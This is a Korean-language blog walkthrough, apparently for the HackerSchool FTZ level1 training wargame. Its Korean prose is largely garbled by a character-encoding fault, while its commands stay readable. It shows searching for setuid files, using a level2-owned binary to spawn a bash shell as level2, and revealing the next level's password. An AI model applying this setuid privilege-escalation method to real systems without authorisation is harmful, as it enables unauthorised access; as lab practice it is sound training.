FTZ Level ๋ฌธ์ ๋ค์์ ์ต์ข ๋ชฉํ๋ my-pass ๋ช ๋ น์ด๋ก
๋ค์ ๋ ๋ฒจ์ ํด๋นํ๋ ๋น๋ฒ์ ์ฐพ์๋ด๋ ๊ฒ์ด๋ค.
๊ทธ๋ฆฌ๊ณ my-pass ๋ช ๋ น์ด๋ฅผ ์คํํ๋ ค๋ฉด
๊ทธ ๋ ๋ฒจ์ ํด๋นํ๋ ๊ถํ์ ์ป์ด์ผํ๋ค
level1 (๋น๋ฒ๋ level1) ์ผ๋ก ๋ก๊ทธ์ธํ๊ณ ์ฑ๊ณตํ๋ฉด ์๋์ ๊ฐ์ ์ฐฝ์ด ๋ฌ๋ค
์๋ด๋ค๋ฉด ์ธํ ์ด ์ ๋์ด์๋์ง ํ์ธํ์
Xshell 7 (Build 0113)
Copyright (c) 2020 NetSarang Computer, Inc. All rights reserved.
Type `help' to learn how to use Xshell prompt.
[C:\~]$
Connecting to 192.168.176.128:22...
Connection established.
To escape to local shell, press 'Ctrl+Alt+]'.
WARNING! The remote SSH server rejected X11 forwarding request.
[level1@ftz level1]$
ํ์ฌ ๊ฒฝ๋ก์ ์๋ ํ์ผ๋ค์ ์ฐพ์๋ณด์.
$ ls -a
[level1@ftz level1]$ ls -a
. .bash_history .bash_profile .cshrc .epems .gvimrc .muttrc public_html .viminfo .Xauthority
.. .bash_logout .bashrc .emacs .gtkrc hint .profile tmp .vimrc .Xdefaults
์์ผ๋ก ftz ๋ชจ๋ ๋ฌธ์ ์์ cat hint๋ฅผ ํตํด ๋ฌธ์ ์ ํํธ๋ฅผ ์ป์ ์ ์๋ค.
๊ทผ๋ฐ ๋ง๋ง ํํธ์ง ์ฌ์ค์ ํด๋น ๋ ๋ฒจ์ ๋ฌธ์ ๊ฐ hint์ ์จ์๋ค๊ณ ๋ด๋ ๋ฌด๋ฐฉํ๋ ์๋ผ์ง ๋ง๊ณ ํํ ์ฐ์!
$ cat hint
[level1@ftz level1]$ cat hint
level2 ๊ถํ์ setuid๊ฐ ๊ฑธ๋ฆฐ ํ์ผ์ ์ฐพ๋๋ค.
ํ์ ๋๋ ํ ๋ฆฌ(/) ์์ setuid(4000) ๋ผ๋ ๊ถํ(-perm)์ ๊ฐ์ง๋ ํ์ผ๋ค์ ์ฐพ์(find)
$ find / -perm 4000
[level1@ftz level1]$ find / -perm 4000
find: /lost+found: Permission denied
find: /boot/lost+found: Permission denied
find: /proc/1/fd: Permission denied
find: /proc/2/fd: Permission denied
...
๊ทผ๋ฐ ํ์ผ์ด ๊ฒ๋ ๋ง์ด ๋์จ๋ค...
์ฐ๋ฆฌ๋ ๋ค์ ๋จ๊ณ์ธ Level2 ๋ง ์ฐพ์ผ๋ฉด ๋๋ level2 ๋ผ๋ ์์ ์ (-user)๋ฅผ ๊ฐ์ง ํ์ผ๋ง ์ฐพ์๋ณด์
$ find / -user level2
[level1@ftz level1]$ find / -user level2
find: /lost+found: Permission denied
find: /boot/lost+found: Permission denied
find: /proc/1/fd: Permission denied
...
/bin/ExecuteMe
...
find: /home/trainer9: Permission denied
๋ง์ฐฌ๊ฐ์ง๋ก ๋ง์ ํ์ผ๋ค์ด ๋์ค๊ธด ํ์ง๋ง.. ๊ถํ์ด ํ์ฉ๋ ํ์ผ์ ์ฐพ์๋ค!
๋ฐ๋ก ํด๋น ํด๋๋ก ์ด๋
$ cd /bin
[level1@ftz level1]$ cd /bin
[level1@ftz bin]$ ls
arch bash2 cpio dnsdomainname env grep kbd_mode ls mt ping rvi sort true vi
ash bsh csh doexec ex gtar kill mail mv ps rview stty umount view
ash.static cat cut domainname ExecuteMe gunzip level7 mkdir my-pass pwd sed su uname ypdomainname
autodig chgrp date dumpkeys false gzip link mknod netstat red setfont sync unicode_start zcat
awk chmod dd echo fgrep hostname ln mktemp nice rm setserial tar unicode_stop
basename chown df ed gawk igawk loadkeys more nisdomainname rmdir sh tcsh unlink
bash cp dmesg egrep gettext ipcalc login mount pgawk rpm sleep touch usleep
ํด๋นํ๋ ํ์ผ์ ์คํํ๋ค. ๋ฐ๋ก !
$ ./ExecuteMe
[level1@ftz bin]$ ./ExecuteMe
๋ ๋ฒจ2์ ๊ถํ์ผ๋ก ๋น์ ์ด ์ํ๋ ๋ช
๋ น์ด๋ฅผ
ํ๊ฐ์ง ์คํ์์ผ ๋๋ฆฌ๊ฒ ์ต๋๋ค.
(๋จ, my-pass ์ chmod๋ ์ ์ธ)
์ด๋ค ๋ช
๋ น์ ์คํ์ํค๊ฒ ์ต๋๊น?
[level2@ftz level2]$
๊ถํ์ ์ป์๋๋ฐ ์ ์ ์ค์ํ my-pass ๋ ์๋๋จ๋ค..
๊ทธ๋ผ my-pass ๋ผ๋ ๋ช ๋ น์ด๋ฅผ ๋ด๋ฆด ์ ์๊ฒ ๋ช ๋ น์ ๋ด๋ฆฌ์ (!)
$ bash
[level2@ftz level2]$ bash
[level2@ftz level2]$
์ด์ level2๋ผ๋ ์ ์ ๋ก์ ๋ช ๋ น์ ๋ด๋ฆด ์ ์๋ค.
$ my-pass
[level2@ftz level2]$ my-pass
Level2 Password is "hacker or cracker".
'๐ CTF (Dreamhack) > System Hacking (์์คํ ํดํน)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[HackerSchool] ํด์ปค์ค์ฟจ FTZ: level3 (0) | 2022.10.11 |
---|---|
[HackerSchool] ํด์ปค์ค์ฟจ FTZ: level2 (0) | 2022.10.06 |